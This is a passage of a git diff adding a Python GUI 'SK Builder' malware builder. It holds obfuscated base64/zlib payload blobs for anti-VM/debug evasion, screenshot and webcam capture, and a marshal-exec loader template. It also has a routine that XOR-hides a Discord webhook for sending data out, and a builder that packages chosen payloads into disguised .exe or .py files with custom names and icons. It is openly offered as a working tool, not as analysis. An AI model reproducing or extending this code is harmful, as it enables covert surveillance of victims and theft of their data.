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') + return { + "name": "Anti VM/Debug", + "blob": blob, + "func": "_is_vm_or_debugged", + "requirements": [ + {"module": "os", "path":[], "import": None}, + {"module": "sys", "path":[], "import": None}, + {"module": "psutil", "path":[], "import": None}, + {"module": "socket", "path":[], "import": None}, + {"module": "ctypes", "path":[], "import": None}, + {"module": "subprocess", "path":[], "import": None}, + ], + } + + @staticmethod + def screenshot(): + blob = ('eJyFk0tME0Ecxmf2UbZ0gza0YKWlbfDgkkrCwcQogWCCBAhVgxe8NNvOgBu3u81sawu2xhgOxItITMBX7Ilg4OTVE3cPLSFhMwknT95q0IR4cra8ijRxsvP9d2e+nfl++/gOGho8qvsykxWAwAJ4CBCcAgqXgg0+kXXe8X2p+9zMU4KIWwAljgNFbo2NbpyYS3wRlEGzhvgiX4bNZs6usMaxK+40ZJEl6gFZ4dR/BRBvSUBCUXgPPnIlWIQpbprlLwnPhKmjmod5UOCnQR4qYpzy09hKNW7pYr3dYfpWZ8o2TDXPiBg14hDY5NdYko2TNKUzycr8//lYXlAWmvmKEAmb4nn+stg0kWuNJd2AjU727lridx4oAhWSSbNAOzUjpecQTujqHCYYJfKagcy8RT2qriesFMHYsKhUQJqVYRbK34uPKpC6ZkySVrM/nGUVF3WPpdVZPErUJBVmHeU0k7bcnstia+wuFSz1CWaK8WOFo6LmeKmnXhJJx2M5MJEI9RA1n5jJGam+zByVExayVKQjY0a15qPHWR6Z2b4B3UypujXY12hxHoGFmTwHe77QSnw5bvsD9tVrdjBiB0I1N/D3/ASiv+2XI4sjv2XQFfrU+673bexDbHHClr2vxl+OLz1dv744XpX7d+T+itxvy527cnBbDq7er8rhHTlckcN2e3dF7t53yOfbpk5DZYzZ+ZYRQkxyM6LwVMoTjaFlCRUIVhF1jxRSOJPVTEMRqTSvZRIzmo6p18ilk5g00BE/W5k4nx6FuE4VcRrxOSOeRmMIHP6i1nKdusb5xKgdjFakQE1odYdr4EQugc6eJf218cZY9NjSxV0psC0FKpd71yd2YwPbsYFqbHAnNliVhnakoYo0ZF+IVKTIwZ7HVwOcGD0VO6iU1dXJ1Um2x6Hpn+OAtZrInKxaXSzWixu3wNfW4Q5+S3QNe/ktD3TOvSLTuALrCJ8B6XCQHcA/0kDaRDkdD5LwMV03kxoPIaxxfshynJf6/X8Bja4c3Q==') + return { + "name": "Screenshot", + "blob": blob, + "func": "_screenshot", + "requirements": [ + {"module": "PIL", "path":[], "import": 'ImageGrab'}, + {"module": "io", "path":[], "import": None}, + ], + } + + @staticmethod + def webcam(): + blob = ("eJyNk91r21YYh/VhWUexrTSevdb7SJU1oTaN09DBaMLoRZIutJikpGw0YWAU6zhosy33SI4bY4UxduGEQtpQcGEMdFW6ZWV3uy/kD7CLoeJAIDB6sTtDb8qu9qpOXTc1pAfr98o6z/t5pH+YnsUe2ZdBkDqjMb8wK4zG3mQSXIbt4QS4eI/Lch4nAWOzVg/g9NLdpXGP4Pled8/mqpzD9SMfwbXX/Wf6NN5mq1AH8PzJ/PcQ0+ZtH9C+k2mWqfKQwdfJ8E4XQj/vqq+X+cHfjQpZ97rd2IIl90RCfSMJx+bht8I9PgMn126LVb8T6Btb1IQ//e/WBJ2KTrAfffxkgGScUF9ShBgfcAbvZYbZnmOsz97yowwZspGGquhX5jfOm36GW4Z3zkab6OaRLbNl5g6/zJTZhLRA+WVs/uu5Vk4tGEoZr2bUvJI1SgVtonLmG1XPYU2xDCWjFq0SwYqeV9fwBOVvLMwnWOrPGiSvWpWBjt9EsbBWEa8SYpBpJTFI+cz6JRr8TtewMdvxp0g3F4u4gDXqI1jVqEhwDqsmbGTWrVkjZxAaml1MLS6lZ+aXLi3Nz1DhmpeSSlli5FVC1A3K6QYVZzYsbF5bpD5TXcegGP9IUZno8NQiVLp6J4OLlm4UEhJFFb2YzkInNGpaqlUy01ArJmr6qCmoUy1SnmCLClkCW14yMGmytkpFPb+WLuo5Knk3q15WymJTgokpbxYNELWczpYKmYniBhXTnWkQhel8/eYk6E9Mm/tEGHOVsQb6/EAeei4PP5OHH95uyiMteaTGHw6Gd6rb1a3Nu5tthpMS7uhXjeCI+1G8EYwfRs/Ub+3eur/yYGVroMbXvnVRYCewHdgK3Q3VQuB55HGl6/Eicrqe2k050Sd8Kz7VjEy3ItM16SB8un5x96KTaIbHW+HxmngQ+bh+fff6/dSDVE1y0eBOcDt4b9kp1YJNlGyhZAMlXTS0I2/L9243UayFYg0Uc9Gp5yj2DMUejj+W/pL/kJvxy6345SaaaqGpBpo6HBxtoNFXLwIRKEsYeyuuknw84oScEEzAfQ0d+72C1RaABGsmYHI/fzkXZf6eBHl6fiYJZj86MDfJ75/1z13g98dY7/6CALqQYF+P+3fmpfcuk7Mg/6Gv84ZWyuEr5NybkxgGafMsy7a5T1mo6n0hXwDyPx2zR4I=") + return { + "name": "Webcam", + "blob": blob, + "func": "_webcam", + "requirements": [ + {"module": "PIL", "path":[], "import": "Image"}, + {"module": "cv2", "path":[], "import": None}, + {"module": "io", "path":[], "import": None}, + ], + } + + @staticmethod + def default_imports(): + return { + "name": "Default Imports", + "blob": None, + "func": None, + "requirements": [ + {"module": "os", "path":[], "import": None}, + {"module": "zlib", "path":[], "import": None}, + {"module": "random", "path":[], "import": None}, + {"module": "string", "path":[], "import": None}, + {"module": "base64", "path":[], "import": None}, + {"module": "zipfile", "path":[], "import": None}, + {"module": "marshal", "path":[], "import": None}, + {"module": "tempfile", "path":[], "import": None}, + {"module": "getpass", "path":[], "import": None}, + {"module": "platform", "path":[], "import": None}, + {"module": "socket", "path":[], "import": None}, + {"module": "requests", "path":[], "import": None}, + {"module": "json", "path":[], "import": None}, + ], + } \ No newline at end of file diff --git a/src/functions/tools.py b/src/functions/tools.py new file mode 100644 index 0000000..3b71c09 --- /dev/null +++ b/src/functions/tools.py @@ -0,0 +1,95 @@ +from contextlib import suppress +import requests, base64, zlib, marshal + +LOADER_TEMPLATE = ''' +import base64, marshal{decompress_import} +a={b64!s} +b=base64.b64decode(a) +{maybe_decompress} +c=marshal.loads(b) +exec(c) +''' + +class Bcolors: + HEADER = '\033[95m' + OKBLUE = '\033[94m' + OKCYAN = '\033[96m' + OKGREEN = '\033[92m' + WARNING = '\033[93m' + FAIL = '\033[91m' + RESET = '\033[0m' + BOLD = '\033[1m' + UNDERLINE = '\033[4m' + +class Tools: + @staticmethod + def obfuscate_code(code_str: str, compress: bool = False): + code_obj = compile(code_str, "", "exec") + data = marshal.dumps(code_obj) + + if compress: + data = zlib.compress(data) + + b64 = base64.b64encode(data).decode("ascii") + + loader = LOADER_TEMPLATE.format( + b64=repr(b64), + decompress_import=", zlib" if compress else "", + maybe_decompress="b=zlib.decompress(b)" if compress else "" + ) + return loader + + @staticmethod + def protect_webhook(webhook: str, chave: str = "CirqueiraAmaOEstadoDeSaoPaulo") -> str: + xor_bytes = bytes([ord(c) ^ ord(chave[i % len(chave)]) for i, c in enumerate(webhook)]) + return base64.urlsafe_b64encode(xor_bytes).decode() + + @staticmethod + def check_requirements(requirements): + missing = [] + installed = [] + for req in requirements: + try: + __import__(req.split(".")[0]) + installed.append(req) + except ImportError: + missing.append(req) + return {"installed": installed, "missing": missing} + + @staticmethod + def send_webhook(url: str): + try: + data = { + "embeds": [ + { + "title": "SK Builder", + "description": "\n**• Your webhook is working.**\n", + "color": 0xE53935, + "footer": { + "text": "https://github.com/CirqueiraDev | @CirqueiraDev" + } + } + ] + } + + r = requests.post(url, json=data, timeout=5) + + if r.status_code in (200, 204): + return True, "Valid Discord webhook!" + + try: + err_json = r.json() + msg = err_json.get("message", "Unknown error") + except: + msg = f"HTTP {r.status_code}" + + return False, msg + + except requests.exceptions.RequestException as e: + return False, str(e) + + @staticmethod + def ipwhois(ip: str): + with suppress(Exception), requests.get(f"https://ipwhois.app/json/{ip}/") as s: + return s.json() + return {"success": False} \ No newline at end of file diff --git a/src/main_window.py b/src/main_window.py new file mode 100644 index 0000000..b6a9f21 --- /dev/null +++ b/src/main_window.py @@ -0,0 +1,164 @@ +from PyQt5.QtWidgets import ( + QMainWindow, QWidget, QVBoxLayout, QHBoxLayout, + QLabel, QPushButton, QFrame, QStackedWidget, QGraphicsOpacityEffect +) +from PyQt5.QtCore import Qt, QPoint, QPropertyAnimation, QEasingCurve +from PyQt5.QtGui import QFont, QIcon +from src.styles import MAIN_STYLE, SIDEBAR_STYLE, TOPBAR_STYLE, close_btn_style, control_btn_style +from src.pages.options_page import OptionsPage +from src.pages.builder_page import BuilderPage + +class MainWindow(QMainWindow): + def __init__(self): + super().__init__() + self.setWindowIcon(QIcon("./logos/sk_logo.png")) + self.setWindowTitle("SK Builder") + self.setGeometry(100, 50, 1100, 620) + self.setStyleSheet(MAIN_STYLE) + + self.setWindowFlags(Qt.FramelessWindowHint) + self.setAttribute(Qt.WA_TranslucentBackground, False) + + self.dragging = False + self.offset = QPoint() + + main_widget = QWidget() + main_layout = QVBoxLayout() + main_layout.setContentsMargins(0, 0, 0, 0) + main_layout.setSpacing(0) + + top_bar = self.create_top_bar() + + body_layout = QHBoxLayout() + body_layout.setContentsMargins(0, 0, 0, 0) + body_layout.setSpacing(0) + + self.sidebar = self.create_sidebar() + + self.stack = QStackedWidget() + self.options_page = OptionsPage() + self.builder_page = BuilderPage(self.options_page) + + self.stack.addWidget(self.options_page) + self.stack.addWidget(self.builder_page) + + body_layout.addWidget(self.sidebar) + body_layout.addWidget(self.stack) + + main_layout.addWidget(top_bar) + main_layout.addLayout(body_layout) + + main_widget.setLayout(main_layout) + self.setCentralWidget(main_widget) + + self.opacity = QGraphicsOpacityEffect(self) + self.setGraphicsEffect(self.opacity) + + self.fade_anim = QPropertyAnimation(self.opacity, b"opacity") + self.fade_anim.setDuration(2000) + self.fade_anim.setStartValue(0) + self.fade_anim.setEndValue(1) + self.fade_anim.setEasingCurve(QEasingCurve.InOutQuad) + + def create_top_bar(self): + top_bar = QFrame() + top_bar.setFixedHeight(35) + top_bar.setStyleSheet(TOPBAR_STYLE) + + top_bar.mousePressEvent = self.topbar_mousePressEvent + top_bar.mouseMoveEvent = self.topbar_mouseMoveEvent + top_bar.mouseReleaseEvent = self.topbar_mouseReleaseEvent + + top_layout = QHBoxLayout() + top_layout.setContentsMargins(15, 0, 10, 0) + top_layout.setSpacing(10) + + icon_label = QLabel("😈") + icon_label.setStyleSheet("color: #ff4444; font-size: 16px;") + + title = QLabel("SK Builder") + title.setFont(QFont("Segoe UI", 10, QFont.Bold)) + title.setStyleSheet("color: #e0e0e0;") + + version = QLabel("v0.2.5") + version.setStyleSheet("color: #666; font-size: 9px;") + + top_layout.addWidget(icon_label) + top_layout.addWidget(title) + top_layout.addWidget(version) + top_layout.addStretch() + + btn_minimize = QPushButton("🟡") + btn_close = QPushButton("🔴") + + btn_minimize.setStyleSheet(control_btn_style) + btn_close.setStyleSheet(close_btn_style) + + btn_minimize.clicked.connect(self.showMinimized) + btn_close.clicked.connect(self.close) + + top_layout.addWidget(btn_minimize) + top_layout.addWidget(btn_close) + + top_bar.setLayout(top_layout) + return top_bar + + def topbar_mousePressEvent(self, event): + if event.button() == Qt.LeftButton: + self.dragging = True + self.offset = event.globalPos() - self.frameGeometry().topLeft() + + def topbar_mouseMoveEvent(self, event): + if self.dragging: + self.move(event.globalPos() - self.offset) + + def topbar_mouseReleaseEvent(self, event): + if event.button() == Qt.LeftButton: + self.dragging = False + + def create_sidebar(self): + sidebar = QFrame() + sidebar.setFixedWidth(180) + sidebar.setStyleSheet(SIDEBAR_STYLE) + + side_layout = QVBoxLayout() + side_layout.setContentsMargins(10, 20, 10, 20) + side_layout.setSpacing(5) + + self.btn_options = QPushButton("Options") + self.btn_builder = QPushButton("Builder") + + self.btn_options.setObjectName("active") + + self.btn_options.clicked.connect(lambda: self.switch_page(0, self.btn_options)) + self.btn_builder.clicked.connect(lambda: self.switch_page(1, self.btn_builder)) + + side_layout.addWidget(self.btn_options) + side_layout.addWidget(self.btn_builder) + side_layout.addStretch() + + footer = QLabel("github.com/CirqueiraDev") + footer.setStyleSheet("color: #ff4444; font-size: 10px;") + footer.setAlignment(Qt.AlignCenter) + side_layout.addWidget(footer) + + sidebar.setLayout(side_layout) + return sidebar + + def switch_page(self, index, button): + for btn in [self.btn_options, self.btn_builder]: + btn.setObjectName("") + btn.setStyleSheet("") + + button.setObjectName("active") + button.setStyleSheet(MAIN_STYLE) + + self.stack.setCurrentIndex(index) + + def show_message(self, message): + from PyQt5.QtWidgets import QMessageBox + QMessageBox.information(self, "Info", message) + + def showEvent(self, event): + super().showEvent(event) + self.fade_anim.start() \ No newline at end of file diff --git a/src/pages/build_box.py b/src/pages/build_box.py new file mode 100644 index 0000000..4eedcdc --- /dev/null +++ b/src/pages/build_box.py @@ -0,0 +1,67 @@ +from PyQt5.QtWidgets import QDialog, QVBoxLayout, QLabel, QPushButton, QTextEdit +from PyQt5.QtGui import QFont +from PyQt5.QtCore import Qt + +class BuildLogBox(QDialog): + def __init__(self, parent=None): + super().__init__(parent) + self.setWindowFlags(self.windowFlags() & ~Qt.WindowContextHelpButtonHint) + self.setWindowTitle("Building...") + self.setFixedSize(450, 300) + self.setModal(True) + self.setStyleSheet(""" + QDialog { + background-color: #111; + border: 1px solid #333; + } + QLabel { + color: #ff4444; + font-size: 14px; + } + QTextEdit { + background-color: #000; + color: #0f0; + border: 1px solid #222; + font-family: Consolas, monospace; + font-size: 12px; + } + QPushButton { + background-color: #222; + border: 1px solid #444; + padding: 6px; + color: #ddd; + } + QPushButton:hover { + background-color: #333; + } + """) + + layout = QVBoxLayout() + layout.setSpacing(10) + + title = QLabel("Build Process") + title.setAlignment(Qt.AlignCenter) + title.setFont(QFont("Consolas", 12, QFont.Bold)) + + self.log_box = QTextEdit() + self.log_box.setReadOnly(True) + + self.close_btn = QPushButton("Close") + self.close_btn.clicked.connect(self.close) + self.close_btn.setEnabled(False) + + layout.addWidget(title) + layout.addWidget(self.log_box) + layout.addWidget(self.close_btn) + + self.setLayout(layout) + + def add_log(self, text: str): + self.log_box.append(text) + self.log_box.verticalScrollBar().setValue( + self.log_box.verticalScrollBar().maximum() + ) + + def finish(self): + self.add_log("\nBuild finished!") + self.close_btn.setEnabled(True) diff --git a/src/pages/builder_page.py b/src/pages/builder_page.py new file mode 100644 index 0000000..f43af48 --- /dev/null +++ b/src/pages/builder_page.py @@ -0,0 +1,215 @@ +from PyQt5.QtWidgets import ( + QWidget, QVBoxLayout, QHBoxLayout, QLabel, + QLineEdit, QComboBox, QPushButton, QFileDialog +) +from PyQt5.QtCore import Qt, QTimer, pyqtSignal, QThread +from PyQt5.QtGui import QFont +from src.pages.build_box import BuildLogBox +from src.functions.build_manager import BuildManager +import threading + + +class BuildThread(QThread): + """Thread separada para não travar a GUI durante o build""" + log_signal = pyqtSignal(str) + finished_signal = pyqtSignal(bool, str) + + def __init__(self, compress, webhook_url, selected_payloads, file_name, file_type, file_icon_path): + super().__init__() + self.compress = compress + self.webhook_url = webhook_url + self.selected_payloads = selected_payloads + self.file_name = file_name + self.file_type = file_type + self.file_icon_path = file_icon_path + + def log(self, msg): + """Envia log para a GUI de forma segura""" + self.log_signal.emit(msg) + + def run(self): + """Executa o build em background""" + try: + success = BuildManager.buildFinal( + compress=self.compress, + webhook_url=self.webhook_url, + selected_payloads=self.selected_payloads, + file_name=self.file_name, + file_type=self.file_type, + file_icon_path=self.file_icon_path, + log=self.log + ) + + if success: + self.finished_signal.emit(True, "Build completed successfully!") + else: + self.finished_signal.emit(False, "Build failed!") + + except Exception as e: + self.log(f"\n✗ ERROR:\n{str(e)}") + self.finished_signal.emit(False, f"Build error: {str(e)}") + + +class BuilderPage(QWidget): + def __init__(self, options_page): + super().__init__() + self.options_page = options_page + self.selected_icon = None + self.build_thread = None + self.init_ui() + + def init_ui(self): + main_layout = QVBoxLayout() + main_layout.setContentsMargins(30, 30, 30, 30) + main_layout.setSpacing(30) + + title = QLabel("Build Configuration") + title.setFont(QFont("Segoe UI", 18, QFont.Bold)) + title.setStyleSheet("color: #ff4444;") + + form_layout = QVBoxLayout() + form_layout.setSpacing(25) + + filename_layout = QVBoxLayout() + filename_layout.setSpacing(8) + filename_label = QLabel("File Name:") + filename_label.setStyleSheet("font-weight: bold; font-size: 13px;") + self.filename_input = QLineEdit() + self.filename_input.setPlaceholderText("Enter file name...") + self.filename_input.setMinimumHeight(40) + filename_layout.addWidget(filename_label) + filename_layout.addWidget(self.filename_input) + + filetype_layout = QVBoxLayout() + filetype_layout.setSpacing(8) + filetype_label = QLabel("File Type:") + filetype_label.setStyleSheet("font-weight: bold; font-size: 13px;") + self.filetype_combo = QComboBox() + self.filetype_combo.addItems([".exe", ".py", ".pyw"]) + self.filetype_combo.setMinimumHeight(40) + self.filetype_combo.currentTextChanged.connect(self.on_filetype_changed) + filetype_layout.addWidget(filetype_label) + filetype_layout.addWidget(self.filetype_combo) + + icon_layout = QVBoxLayout() + icon_layout.setSpacing(8) + self.icon_label = QLabel("Exe Icon (Optional):") + self.icon_label.setStyleSheet("font-weight: bold; font-size: 13px;") + self.icon_button = QPushButton("Select Icon") + self.icon_button.setObjectName("iconButton") + self.icon_button.setMinimumHeight(40) + self.icon_button.clicked.connect(self.select_icon) + self.icon_path_label = QLabel("No icon selected") + self.icon_path_label.setStyleSheet("color: #888; font-size: 12px; font-style: italic;") + icon_layout.addWidget(self.icon_label) + icon_layout.addWidget(self.icon_button) + icon_layout.addWidget(self.icon_path_label) + + form_layout.addLayout(filename_layout) + form_layout.addLayout(filetype_layout) + form_layout.addLayout(icon_layout) + form_layout.addStretch() + + button_layout = QHBoxLayout() + button_layout.addStretch() + self.build_button = QPushButton("Start Build") + + self.build_button.setObjectName("buildButton") + self.build_button.setMinimumSize(200, 50) + self.build_button.clicked.connect(self.start_build) + button_layout.addWidget(self.build_button) + button_layout.addStretch() + + main_layout.addWidget(title) + main_layout.addLayout(form_layout) + main_layout.addLayout(button_layout) + + self.setLayout(main_layout) + + self.on_filetype_changed(self.filetype_combo.currentText()) + + def on_filetype_changed(self, file_type): + is_exe = file_type == ".exe" + self.icon_label.setEnabled(is_exe) + self.icon_button.setEnabled(is_exe) + self.icon_path_label.setEnabled(is_exe) + + if not is_exe: + self.selected_icon = None + self.icon_path_label.setText("Icon only available for .exe files") + self.icon_path_label.setStyleSheet("color: #666; font-size: 12px; font-style: italic;") + else: + if not self.selected_icon: + self.icon_path_label.setText("No icon selected") + self.icon_path_label.setStyleSheet("color: #888; font-size: 12px; font-style: italic;") + + def select_icon(self): + file_path, _ = QFileDialog.getOpenFileName( + self, + "Select Icon", + "icons", + "Icon Files (*.ico);;All Files (*)" + ) + + if file_path: + self.selected_icon = file_path + self.icon_path_label.setText(f"Selected: {file_path}") + self.icon_path_label.setStyleSheet("color: #00aa44; font-size: 12px;") + + def start_build(self): + # Validações + filename = self.filename_input.text().strip() + if not filename: + return + + filetype = self.filetype_combo.currentText() + icon = self.selected_icon + selected = self.options_page.get_selected_options() + webhook = self.options_page.webhook_input.text().strip() + + # Cria janela de log + 